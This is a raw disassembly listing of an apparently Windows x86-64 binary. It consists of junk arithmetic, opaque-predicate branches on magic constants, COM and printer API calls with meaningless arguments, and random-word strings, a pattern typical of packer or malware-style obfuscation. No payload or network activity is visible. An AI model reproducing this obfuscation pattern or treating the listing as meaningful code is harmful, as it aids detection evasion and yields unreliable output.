mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0x6968]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6988]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0x6988]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6a30]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov rax, qword [rsp + 0x6ac8]
mov rcx, qword [rsp + 0x6978]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401de360], rax
mov rax, qword [rsp + 0x69b8]
mov ecx, dword [rsp + 0x3954]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x38c0], eax
mov rax, qword [rsp + 0x68a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6970]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ac8]
mov rax, qword [rax]
mov rcx, qword [0x1401de360]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6978], rax
mov rax, qword [rsp + 0x69a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401de358]
shl rax, cl
mov rcx, qword [rsp + 0x6940]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6ab8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x172], al
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6a00]
mov word [rcx], ax
movsx eax, word [rsp + 0xf4c]
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf40], ax
movsx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6988]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0x6ac8]
mov rcx, qword [rsp + 0x6a98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x1401de368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a10]
mov ecx, dword [rsp + 0x38cc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x69f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a08]
mov ecx, dword [rsp + 0x3878]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6a08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ac8]
mov rax, qword [rax]
mov rcx, qword [0x1401de360]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6978], rax
mov rax, qword [rsp + 0x68e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x60c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a18], rax
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6a00]
mov word [rcx], ax
mov rax, qword [rsp + 0x6968]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x170]
add eax, ecx
mov rcx, qword [rsp + 0x6988]
mov byte [rcx], al
movsx eax, word [rsp + 0xf40]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf4c], ax
mov rax, qword [rsp + 0x69f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
sub eax, ecx
mov rcx, qword [rsp + 0x69f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x69f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x172]
or eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov rax, qword [rsp + 0x68a8]
mov rcx, qword [rsp + 0x6970]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x6a18]
movzx ecx, al
mov rax, qword [0x1401de358]
shl rax, cl
mov rcx, qword [rsp + 0x6950]
mov qword [rcx], rax
mov rax, qword [0x1401de360]
movzx ecx, al
mov rax, qword [rsp + 0x6978]
sar rax, cl
mov rcx, qword [rsp + 0x6a98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3954]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6a80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf4c]
sub eax, ecx
mov rcx, qword [rsp + 0x6ab0]
mov word [rcx], ax
cmp dword [rsp + 0x395c], 0x9787
jae 0x14000bc72
cmp dword [rsp + 0x38f0], 0xa1a2
jae 0x14000c4c0
movsx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6968]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6988]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x172]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x6a00]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69c0]
mov word [rcx], ax
mov rax, qword [0x1401de350]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
add eax, ecx
mov byte [str.sK:], al
mov rax, qword [rsp + 0x69a8]
mov rcx, qword [rsp + 0x6950]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6920], rax
mov eax, dword [rsp + 0x38f0]
add eax, 0x2f
mov dword [rsp + 0x38f0], eax
mov eax, dword [0x1401dd004]
mov ecx, dword [rsp + 0x3878]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6970]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ac8]
mov rcx, qword [rsp + 0x6a98]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6978], rax
mov rax, qword [rsp + 0x69b8]
mov rcx, qword [rsp + 0x6a10]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6a80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf44], ax
movsx eax, byte [rsp + 0x16f]
movsx ecx, byte [rsp + 0x170]
shl eax, cl
mov byte [rsp + 0x171], al
movsx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6968]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6988]
mov byte [rcx], al
mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x129]
and eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a98]
mov rcx, qword [rsp + 0x6ac8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6978], rax
mov rax, qword [rsp + 0x6a08]
mov ecx, dword [0x1401dd008]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x69f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3954]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x38c0], eax
mov rax, qword [rsp + 0x6950]
mov rcx, qword [rsp + 0x68e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x68b0], rax
jmp 0x14000c297
mov rax, qword [rsp + 0x6970]
mov rcx, qword [rsp + 0x69d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x68a8]
mov edx, dword [0x1401dd008]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jb 0x1401c1323
mov rax, qword [rsp + 0x6910]
movzx eax, word [rax]
mov word [rsp + 0xf50], ax
lea rax, [rsp + 0x6920]
mov qword [0x1401de370], rax
mov rax, qword [rsp + 0x6968]
movzx eax, byte [rax]
mov byte [rsp + 0x3974], al
cmp byte [rsp + 0x3974], 0
je 0x14000c541
cmp byte [rsp + 0x3974], 0x50
je 0x14000c5e5
jmp 0x14000c645
mov rax, qword [rsp + 0x6ab8]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6ab8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6aa8]
mov rcx, qword [rsp + 0x60c0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x68b0], rax
lea rax, [rsp + 0x3878]
mov qword [rsp + 0x6ae0], rax
lea rax, [rsp + 0x6978]
mov qword [rsp + 0x6ae8], rax
mov rax, qword [rsp + 0x6a10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x38cc]
sar eax, cl
mov rcx, qword [rsp + 0x69f0]
mov dword [rcx], eax
lea rax, [rsp + 0x170]
mov qword [rsp + 0x6af0], rax
mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
mov word [rsp + 0xf54], ax
jmp 0x14000c645
mov rax, qword [rsp + 0x69e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6960]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf40], ax
movzx eax, byte [rsp + 0x172]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
lea r8, [rsp + 0x38cc]
mov edx, 0xae
lea rcx, [rsp + 0x6898]
call qword [sym.imp.ole32.dll_CoGetStdMarshalEx]
mov dword [rsp + 0x3894], eax
mov rax, qword [rsp + 0x69f0]
mov eax, dword [rax]
mov dword [rsp + 0x3978], eax
cmp dword [rsp + 0x3978], 0x1f3eccc9
je 0x14000c675
cmp dword [rsp + 0x3978], 0x26958e2f
je 0x14000c69b
jmp 0x14000c7f5
mov rax, qword [rsp + 0x69a8]
mov r8, qword [rax]
movzx edx, byte [rsp + 0x16f]
movzx ecx, byte [rsp + 0x170]
call fcn.1401c2870
nop
jmp 0x14000c7f5
movsx eax, word [rsp + 0xf50]
mov rcx, qword [rsp + 0x6918]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf48], ax
mov rax, qword [rsp + 0x6978]
mov rcx, qword [0x1401de360]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6a98]
mov rdx, qword [0x1401de368]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jne 0x14000c7d9
mov rax, qword [rsp + 0x6ae8]
mov rcx, qword [rsp + 0x6978]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6ae8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x69f8]
movzx eax, byte [rax]
mov byte [rsp + 0x397c], al
cmp byte [rsp + 0x397c], 0x4e
je 0x14000c73a
cmp byte [rsp + 0x397c], 0xf8
je 0x14000c799
jmp 0x14000c7d9
mov rax, qword [rsp + 0x6940]
mov rcx, qword [0x1401de370]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6940]
mov qword [rcx], rax
mov rax, qword [rsp + 0x68a8]
mov ecx, dword [0x1401dd004]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3878], eax
mov r8, qword [rsp + 0x68b0]
movzx edx, byte [rsp + 0x170]
mov rax, qword [rsp + 0x6968]
movzx ecx, byte [rax]
call fcn.1401c2870
nop
jmp 0x14000c7d9
lea rax, [rsp + 0x3878]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x43
lea r9, [rsp + 0x38cc]
mov r8d, 1
lea rdx, [rsp + 0xf40]
lea rcx, [rsp + 0x2bb70]
call qword [sym.imp.ole32.dll_CoGetStandardMarshal]
mov dword [rsp + 0x3908], eax
mov eax, dword [rsp + 0x38cc]
mov ecx, dword [rsp + 0x3954]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6a10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6988]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6af0]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0x170]
mov rdx, qword [rsp + 0x6a30]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jne 0x14000c9bc
movzx eax, byte [rsp + 0x171]
mov byte [rsp + 0x3980], al
cmp byte [rsp + 0x3980], 0x5f
je 0x14000c848
jmp 0x14000c97f
lea r9, [rsp + 0x171]
lea r8, [rsp + 0x2bb60]
lea rdx, [rsp + 0x3888]
lea rcx, [rsp + 0x6af8]
call qword [sym.imp.ole32.dll_CoGetObject]
mov dword [rsp + 0x3984], eax
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf54], ax
mov rax, qword [rsp + 0x6950]
mov rcx, qword [rsp + 0x6940]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x68e0]
mov rdx, qword [rsp + 0x69a8]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
xor rcx, rdx
cmp rax, rcx
jb 0x14000c8ff
movsx eax, word [rsp + 0xf50]
movsx ecx, word [rsp + 0xf4c]
sar eax, cl
mov rcx, qword [rsp + 0x6ab0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6960]
movzx edx, word [rax]
movzx ecx, byte [rsp + 0xdf]
call fcn.1401c3b50
nop
movsx eax, word [rsp + 0xf4c]
mov dword [rsp + 0x3988], eax
cmp dword [rsp + 0x3988], 0x63c1
je 0x14000c91d
jmp 0x14000c95a
mov rax, qword [rsp + 0x6968]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x171]
and eax, ecx
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0x69f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x129]
add eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
jmp 0x14000c97d
mov rax, qword [rsp + 0x6ac8]
mov rcx, qword [rsp + 0x6ae8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x1401de368]
mov qword [rcx], rax
jmp 0x14000c9bc
mov rax, qword [rsp + 0x6ac8]
mov rax, qword [rax]
mov qword [rsp + 0x6b00], rax
mov eax, dword [rsp + 0x3878]
mov dword [rsp + 0x398c], eax
mov rax, qword [rsp + 0x6ac0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x38c0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3954], eax
movzx eax, word [rsp + 0xf54]
mov dword [rsp + 0x3990], eax
cmp dword [rsp + 0x3990], 0
je 0x14000c9da
jmp 0x14000cb29
mov rax, qword [rsp + 0x6970]
mov ecx, dword [rsp + 0x398c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6ae0]
mov rdx, qword [rsp + 0x6a08]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jb 0x14000cb24
mov eax, dword [rsp + 0x38cc]
mov dword [rsp + 0x3994], eax
cmp dword [rsp + 0x3994], 0x69ae3502
je 0x14000cacf
cmp dword [rsp + 0x3994], 0x7a75afc6
je 0x14000ca3c
jmp 0x14000cb24
mov rax, qword [rsp + 0x6ae0]
mov eax, dword [rax]
mov dword [rsp + 0x3998], eax
cmp dword [rsp + 0x3998], 0x468ff6e3
je 0x14000ca69
cmp dword [rsp + 0x3998], 0xa69836f6
je 0x14000caab
jmp 0x14000cacd
lea rcx, [rsp + 0x2bb80]
call qword [sym.imp.ole32.dll_CoInvalidateRemoteMachineBindings]
mov dword [rsp + 0x394c], eax
call qword [sym.imp.ole32.dll_CoSuspendClassObjects]
mov dword [rsp + 0x3984], eax
mov rax, qword [rsp + 0x6a18]
mov rcx, qword [rsp + 0x6920]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x68b0], rax
jmp 0x14000cacd
mov rax, qword [rsp + 0x6968]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6988]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6af0]
mov byte [rcx], al
jmp 0x14000cb24
mov rax, qword [rsp + 0x69f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x129]
sub eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
movsx eax, word [rsp + 0xf4c]
mov rcx, qword [rsp + 0x6ab0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf48], ax
mov rax, qword [rsp + 0x6890]
movzx edx, word [rax]
movzx ecx, byte [rsp + 0x172]
call fcn.1401c3b50
nop
jmp 0x14000cc30
mov eax, dword [rsp + 0x3878]
mov dword [rsp + 0x399c], eax
cmp dword [rsp + 0x399c], 0x4d62e245
je 0x14000cb46
jmp 0x14000cb99
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x6ab8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
lea rcx, [rsp + 0x6928]
call qword [sym.imp.ole32.dll_CoGetCurrentLogicalThreadId]
mov dword [rsp + 0x3984], eax
mov rax, qword [rsp + 0x6978]
movzx ecx, al
mov rax, qword [rsp + 0x6b00]
sar rax, cl
mov qword [0x1401de360], rax
jmp 0x14000cbd0
mov rax, qword [rsp + 0x6940]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6950]
mov qword [rsp + 0x6b08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6b08]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x68e0]
mov qword [rcx], rax
lea r8, [rsp + 0x3888]
mov edx, 0x8c
lea rcx, [rsp + 0x6a58]
call qword [sym.imp.ole32.dll_CoGetStdMarshalEx]
mov dword [rsp + 0x39a0], eax
mov rax, qword [rsp + 0x6ac0]
mov rcx, qword [rsp + 0x6a80]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x38cc], eax
mov rax, qword [rsp + 0x6ae8]
mov rcx, qword [rsp + 0x6b00]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6ac8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x398c]
mov dword [rsp + 0x39a4], eax
cmp dword [rsp + 0x39a4], 0
je 0x14000cc4d
jmp 0x14000cd85
mov eax, dword [rsp + 0x398c]
mov dword [rsp + 0x39a8], eax
cmp dword [rsp + 0x39a8], 0
je 0x14000cc7b
cmp dword [rsp + 0x39a8], 0x7d9dd8b9
je 0x14000cd49
jmp 0x14000cd80
mov rax, qword [rsp + 0x69d0]
mov eax, dword [rax]
mov dword [rsp + 0x39ac], eax
mov dword [rsp + 0x39b0], 0x1cfb
mov rax, qword [rsp + 0x6970]
mov eax, dword [rax]
mov dword [rsp + 0x39b4], eax
cmp dword [rsp + 0x39b4], 0x6f09842b
je 0x14000cd27
cmp dword [rsp + 0x39b4], 0xdaa40af0
je 0x14000ccc7
jmp 0x14000cd47
mov rax, qword [rsp + 0x6a30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6968]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6988]
mov byte [rcx], al
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a00]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf54], ax
mov rax, qword [rsp + 0x6a48]
movzx edx, word [rax]
mov rax, qword [rsp + 0x6ab8]
movzx ecx, byte [rax]
call fcn.1401c3b50
nop
jmp 0x14000cd47
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a00]
mov word [rcx], ax
jmp 0x14000cd80
lea rax, [rsp + 0x6b00]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2bb60]
lea r8, [rsp + 0x69d0]
mov edx, 0x95
lea rcx, [rsp + 0x2bb50]
call qword [sym.imp.ole32.dll_CoGetClassObject]
mov dword [rsp + 0x3984], eax
jmp 0x14000ce8d
mov rax, qword [rsp + 0x69f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6ab8]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x172]
sub ecx, edx
cmp eax, ecx
jl 0x14000ce6c
movsx eax, word [rsp + 0xf50]
movsx ecx, word [rsp + 0xf48]
add eax, ecx
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov dword [rsp + 0x39b8], eax
cmp dword [rsp + 0x39b8], 0xe25
je 0x14000ce02
cmp dword [rsp + 0x39b8], 0xec9
je 0x14000ce49
jmp 0x14000ce6a
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x172]
shl eax, cl
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov r9d, 0x71
lea r8, [rsp + 0x396c]
mov edx, 0xc8
mov rcx, qword [rsp + 0x6b10]
call sub.WINSPOOL.DRV_SetPrinterA
mov dword [rsp + 0x39bc], eax
jmp 0x14000ce6a
mov rax, qword [rsp + 0x6b00]
mov rcx, qword [rsp + 0x6978]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ac8]
mov qword [rcx], rax
jmp 0x14000ce8d
mov rax, qword [rsp + 0x68e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x60c0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a18], rax
mov eax, dword [rsp + 0x3878]
movzx ecx, al
mov eax, dword [rsp + 0x398c]
shr eax, cl
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3954]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x38c0], eax
mov rax, qword [rsp + 0x6910]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6a48]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6ab0]
mov word [rcx], ax
movzx eax, word [rsp + 0xf54]
mov rcx, qword [rsp + 0x6a00]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69c0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x16f]
mov rcx, qword [rsp + 0x6988]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
sub eax, ecx
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x172]
sub eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
movsx eax, word [rsp + 0xf48]
movsx ecx, word [rsp + 0xf40]
and eax, ecx
mov rcx, qword [rsp + 0x69e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a80]
mov ecx, dword [rsp + 0x38c0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6aa8], rax
mov rax, qword [rsp + 0x6ae8]
mov rcx, qword [0x1401de368]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6978], rax
mov eax, dword [rsp + 0x3878]
mov ecx, dword [rsp + 0x39ac]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x398c], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x69f8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
movsx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6988]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6af0]
mov byte [rcx], al
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6b00]
mov rcx, qword [rsp + 0x6978]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x1401de368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x170]
sub eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov rax, qword [rsp + 0x6aa8]
mov rcx, qword [rsp + 0x6920]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68e0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x38d0]
sub eax, 0x90
mov dword [rsp + 0x38d0], eax
mov rax, qword [rsp + 0x68b8]
mov rcx, qword [rsp + 0x6ae0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6a08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a10]
mov ecx, dword [rsp + 0x38c0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x38cc], eax
mov rax, qword [rsp + 0x6978]
mov rcx, qword [0x1401de360]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6b00], rax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a00]
mov word [rcx], ax
movsx eax, word [rsp + 0xf48]
movsx ecx, word [rsp + 0xf40]
and eax, ecx
mov rcx, qword [rsp + 0x6960]
mov word [rcx], ax
movzx eax, word [rsp + 0xf54]
mov rcx, qword [rsp + 0x6a00]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf44], ax
cmp dword [rsp + 0x38d0], 0xb222
ja 0x14000ce8d
mov rax, qword [rsp + 0x68a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x39ac]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6970]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x398c]
shr edx, cl
mov ecx, edx
cmp eax, ecx
ja 0x1401c1254
mov rax, qword [rsp + 0x6ac0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x38cc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6a10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ae8]
mov rcx, qword [rsp + 0x6ac8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6978]
mov rdx, qword [rsp + 0x6b00]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x14000d29d
call qword [sym.imp.ole32.dll_CoSuspendClassObjects]
mov dword [rsp + 0x39c0], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x172]
and eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x6910]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf50]
sar eax, cl
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
movzx eax, byte [rsp + 0x170]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x170]
movzx r8d, word [rsp + 0xf48]
mov rax, qword [rsp + 0x6960]
movzx edx, word [rax]
movzx ecx, word [rsp + 0xf48]
call fcn.1401c2430
nop
jmp 0x1401c11aa
movzx eax, byte [rsp + 0x170]
mov byte [rsp + 0x39c4], al
cmp byte [rsp + 0x39c4], 0
je 0x14000d321
cmp byte [rsp + 0x39c4], 0x5a
je 0x14000d2c5
jmp 0x1401c116e
mov rax, qword [rsp + 0x69b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x38c0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6a10]
mov dword [rcx], eax
lea rdx, [rsp + 0x2bb40]
lea rcx, str.jettison_contractible_Leone
call qword [sym.imp.ole32.dll_CLSIDFromProgIDEx]
mov dword [rsp + 0x39c0], eax
lea rdx, [rsp + 0x2bb50]
lea rcx, str.cockneys_Commutativity_slant_Shrieker
call qword [sym.imp.ole32.dll_CLSIDFromProgID]
mov dword [rsp + 0x3908], eax
jmp 0x1401c116e
cmp dword [rsp + 0x39b0], 0x5127
ja 0x14000d53b
mov rax, qword [rsp + 0x6b00]
mov rcx, qword [rsp + 0x6978]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ae8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x39b0]
add eax, 0x9f
mov dword [rsp + 0x39b0], eax
mov rax, qword [rsp + 0x68b8]
mov rcx, qword [rsp + 0x68a0]
